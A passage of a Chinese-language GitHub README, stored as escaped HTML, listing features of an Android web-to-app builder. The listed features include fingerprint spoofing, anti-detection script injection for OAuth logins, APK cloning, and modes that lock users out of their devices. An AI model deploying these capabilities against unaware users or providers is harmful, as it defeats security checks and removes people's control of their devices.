Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;一键构建 APK&lt;/span&gt;&amp;nbsp;— 设备上直接生成可安装 APK&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;双浏览器引擎&lt;/span&gt;&amp;nbsp;— WebView + GeckoView (Firefox) 最大兼容性&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;扩展模块&lt;/span&gt;&amp;nbsp;— 10 个内置模块 + 自定义 JS/CSS 注入 + NativeBridge API&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;AI 辅助&lt;/span&gt;&amp;nbsp;— AI 驱动模块开发、图标生成、HTML 编码&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;安全&lt;/span&gt;&amp;nbsp;— APK 加密、浏览器指纹伪装、广告拦截、DNS-over-HTTPS&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;自定义&lt;/span&gt;&amp;nbsp;— 启动屏、背景音乐+歌词、主题、激活码、公告&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;应用修改器&lt;/span&gt;&amp;nbsp;— 克隆已安装应用，替换图标和名称&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;云服务&lt;/span&gt;&amp;nbsp;— 可选 Pro/Ultra：云端项目、数据分析、推送通知、远程配置&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class=&quot;markdown-heading&quot; dir=&quot;auto&quot; style=&quot;box-sizing: border-box; position: relative; color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;h2 tabindex=&quot;-1&quot; class=&quot;heading-element&quot; dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: var(--base-size-24); margin-bottom: var(--base-size-16); font-weight: var(--base-text-weight-semibold,600); line-height: 1.25; border-bottom: 1px solid var(--borderColor-muted,var(--color-border-muted)); padding-bottom: 0.3em;&quot;&gt;核心技术实现&lt;/h2&gt;&lt;a id=&quot;user-content-核心技术实现&quot; class=&quot;anchor&quot; aria-label=&quot;Permalink: 核心技术实现&quot; href=&quot;https://github.com/shiahonb777/web-to-app/blob/main/README_CN.md#%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF%E5%AE%9E%E7%8E%B0&quot; style=&quot;box-sizing: border-box; background-color: rgba(0, 0, 0, 0); color: var(--fgColor-accent,var(--color-accent-fg)); text-decoration-line: underline; float: left; padding-right: var(--base-size-4); margin: auto; line-height: 1; text-underline-offset: 0.2rem; border-radius: var(--borderRadius-medium); opacity: 0; justify-content: center; align-items: center; width: 28px; height: 28px; display: flex; position: absolute; top: 19.0938px; left: -28px; transform: translateY(calc(-50% - 0.3rem));&quot;&gt;&lt;svg data-component=&quot;Octicon&quot; class=&quot;octicon octicon-link&quot; viewbox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-bottom: var(--base-size-16); padding-left: 2em; color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;深度修改 WebView 内核&lt;/span&gt;&amp;nbsp;— 原生级 WebView 加固：UA 清洗、X-Requested-With 移除、原型链保护、iframe 传播。WebView 与真实 Chrome 无法区分。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;OAuth 应用内登录&lt;/span&gt;&amp;nbsp;— 30+ OAuth 提供商（Google、Facebook、GitHub、Discord、微信、支付宝、PayPal 等）通过逐提供商反检测 JS 注入直接在 WebView 内工作。Google OAuth 回退到 Chrome Custom Tab 共享 cookie 会话。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;Chrome 扩展运行时&lt;/span&gt;&amp;nbsp;— 完整&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: var(--fontStack-monospace,ui-monospace, SFMono-Regular, SF Mono, Menlo, Consolas, Liberation Mono, monospace); font-size: 13.6px; tab-size: var(--tab-size-preference); white-space-collapse: break-spaces; background-color: var(--bgColor-neutral-muted,var(--color-neutral-muted)); border-radius: 6px; margin: 0px; padding: 0.2em 0.4em;&quot;&gt;chrome.*&lt;/code&gt;&amp;nbsp;API polyfill（runtime、storage、tabs、messaging）使桌面 Chrome 扩展在 WebView 内运行。后台脚本在隔离 WebView 中执行，同源 fetch + 共享 cookie 状态。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;22 向量浏览器指纹伪装&lt;/span&gt;&amp;nbsp;— Canvas、WebGL、AudioContext、屏幕、字体、GPU 信息 — 全部伪装且跨向量一致。原型链钩子&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: var(--fontStack-monospace,ui-monospace, SFMono-Regular, SF Mono, Menlo, Consolas, Liberation Mono, monospace); font-size: 13.6px; tab-size: var(--tab-size-preference); white-space-collapse: break-spaces; background-color: var(--bgColor-neutral-muted,var(--color-neutral-muted)); border-radius: 6px; margin: 0px; padding: 0.2em 0.4em;&quot;&gt;.toString()&lt;/code&gt;&amp;nbsp;返回&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: var(--fontStack-monospace,ui-monospace, SFMono-Regular, SF Mono, Menlo, Consolas, Liberation Mono, monospace); font-size: 13.6px; tab-size: var(--tab-size-preference); white-space-collapse: break-spaces; background-color: var(--bgColor-neutral-muted,var(--color-neutral-muted)); border-radius: 6px; margin: 0px; padding: 0.2em 0.4em;&quot;&gt;[native code]&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;本地服务端运行时&lt;/span&gt;&amp;nbsp;— Node.js / PHP / Python / Go 通过设备端编译和本地 HTTP 服务在应用内运行。无需远程服务器。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class=&quot;markdown-heading&quot; dir=&quot;auto&quot; style=&quot;box-sizing: border-box; position: relative; color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;h2 tabindex=&quot;-1&quot; class=&quot;heading-element&quot; dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: var(--base-size-24); margin-bottom: var(--base-size-16); font-weight: var(--base-text-weight-semibold,600); line-height: 1.25; border-bottom: 1px solid var(--borderColor-muted,var(--color-border-muted)); padding-bottom: 0.3em;&quot;&gt;应用配置功能&lt;/h2&gt;&lt;a id=&quot;user-content-应用配置功能&quot; class=&quot;anchor&quot; aria-label=&quot;Permalink: 应用配置功能&quot; href=&quot;https://github.com/shiahonb777/web-to-app/blob/main/README_CN.md#%E5%BA%94%E7%94%A8%E9%85%8D%E7%BD%AE%E5%8A%9F%E8%83%BD&quot; style=&quot;box-sizing: border-box; background-color: rgba(0, 0, 0, 0); color: var(--fgColor-accent,var(--color-accent-fg)); text-decoration-line: underline; float: left; padding-right: var(--base-size-4); margin: auto; line-height: 1; text-underline-offset: 0.2rem; border-radius: var(--borderRadius-medium); opacity: 0; justify-content: center; align-items: center; width: 28px; height: 28px; display: flex; position: absolute; top: 19.0938px; left: -28px; transform: translateY(calc(-50% - 0.3rem));&quot;&gt;&lt;svg data-component=&quot;Octicon&quot; class=&quot;octicon octicon-link&quot; viewbox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;/div&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;每个生成的应用拥有完整配置面：&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;WebView 控制&lt;/span&gt;&amp;nbsp;— 桌面模式、自定义 UA、JS/CSS 注入 (DOCUMENT_START/END/IDLE)、弹窗拦截、新窗口行为（同标签/外部浏览器/弹窗/阻止）、代理 (HTTP/SOCKS5/PAC)、DNS-over-HTTPS (7 个预设+自定义)、屏幕方向 (7 种)、屏幕常亮+亮度、键盘调整、视口模式、支付方案、跨域隔离、PWA 离线支持、错误页自定义&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;悬浮窗&lt;/span&gt;&amp;nbsp;— 可调整大小悬浮窗，尺寸/透明度/圆角/边框样式(微妙/发光/强调)/边缘吸附/位置锁定/自动隐藏标题栏/启动最小化/记住位置&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;状态栏&lt;/span&gt;&amp;nbsp;— 完整状态栏主题：颜色、深/浅色图标、背景类型(颜色/图片)、透明度、高度 — 深色模式独立配置&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;安全与隐私&lt;/span&gt;&amp;nbsp;— APK 加密 (100000 PBKDF2 迭代，支持自定义密码)，应用隔离(独立数据目录)，浏览器/设备指纹伪装，广告拦截(hosts 规则+cosmetic MutationObserver)，强制运行，激活码门控(按时或持久)&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;应用加固&lt;/span&gt;&amp;nbsp;— DEX 加密+拆分+VMP+控制流平坦化，原生 SO 加密+ELF 混淆+符号剥离+反 dump，反 Frida/Xposed/Magisk/调试/内存 dump/截屏，模拟器/VirtualApp/VPN/USB 调试检测，字符串加密+类名混淆+调用间接+不透明谓词，DEX CRC 校验+内存完整性+JNI 验证+时序检查，多点签名验证+APK 校验和+资源完整性+证书固定，威胁响应+蜜罐+自毁&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;强制运行&lt;/span&gt;&amp;nbsp;— 3 种模式：固定时段/倒计时/访问窗口。阻止系统 UI、返回键、Home 键、最近应用、通知。倒计时跨进程杀死持久化。密码紧急退出。结束前预警。&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;BlackTech&lt;/span&gt;&amp;nbsp;— 音量控制(强制最大/静音/阻止按键)，手电筒模式(频闪/SOS/摩尔斯码/心跳/呼吸/紧急+自定义警报+震动同步)，系统控制(阻止电源键、最大性能)，屏幕控制(黑屏、旋转、阻止触摸、强制唤醒)，网络控制(WiFi 热点+SSID/密码、禁用 WiFi/蓝牙/移动数据)，核弹模式(全开)，隐身模式(静音+黑屏+阻止触摸+断网)&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;设备伪装&lt;/span&gt;&amp;nbsp;— 伪装设备身份：设备类型(手机/平板/桌面)，操作系统(Android/iOS/HarmonyOS/macOS/Windows/Linux)，品牌+型号预设，屏幕分辨率，像素比，时区，语言&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;启动屏与 BGM&lt;/span&gt;&amp;nbsp;— 自定义启动屏(图片/视频+音频、点击跳过、裁剪范围、方向)，背景音乐播放列表+LRC 歌词同步，7 种歌词动画(淡入/滑动/缩放/打字机/卡拉OK)，3 种位置，自定义歌词主题(字体/大小/颜色/描边/阴影)，20 个音乐标签，循环/顺序/随机模式&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;公告&lt;/span&gt;&amp;nbsp;— 10 种模板风格(极简/小红书/渐变/毛玻璃/霓虹/可爱/优雅/节日/暗黑/自然)，触发时机：启动/定时/无网络&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;翻译&lt;/span&gt;&amp;nbsp;— 页内翻译覆盖层，20 种目标语言，5 个引擎(Google/MyMemory/LibreTranslate/Lingva/Auto)，悬浮按钮切换，加载时自动翻译&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;通知&lt;/span&gt;&amp;nbsp;— Web API Notification polyfill + URL 轮询前台服务，可配置间隔和 JSON 解析&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;深度链接&lt;/span&gt;&amp;nbsp;— 自定义 scheme 支持，可配置 host 匹配&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;自动启动&lt;/span&gt;&amp;nbsp;— 开机自启，定时启动&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;后台运行&lt;/span&gt;&amp;nbsp;— 前台服务保活，自定义通知标题/内容，CPU wake lock，电池优化白名单&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;图库应用&lt;/span&gt;&amp;nbsp;— 分类图片/视频图库，网格/列表/时间线视图，顺序/随机/单曲循环播放，按自定义/名称/日期/类型排序，缩略图条，媒体信息，视频自动下一个，记忆播放位置&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;多网站应用&lt;/span&gt;&amp;nbsp;— 多站点标签/卡片/信息流/抽屉布局，每站图标和 CSS 选择器，自动刷新间隔&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;服务端运行时&lt;/span&gt;&amp;nbsp;— Node.js (4 种构建模式: 静态/SSR/API 后端/全栈，环境变量)，WordPress (主题+插件，内置 PHP)，PHP (Composer 支持，自定义文档根)，Python (Flask/Django/builtin server，pip 依赖)，Go (二进制编译，静态文件服务)&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;网站爬虫&lt;/span&gt;&amp;nbsp;— 离线包创建器：爬取整个网站前端 (HTML/CSS/JS/图片/字体)，并发下载，递归 CSS url() 解析，绝对转相对路径重写，同域限制，深度/大小限制&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;应用修改器&lt;/span&gt;&amp;nbsp;— 克隆已安装 APK：替换图标、名称、包名，通过二进制 Manifest 修补&lt;/p&gt;&lt;p 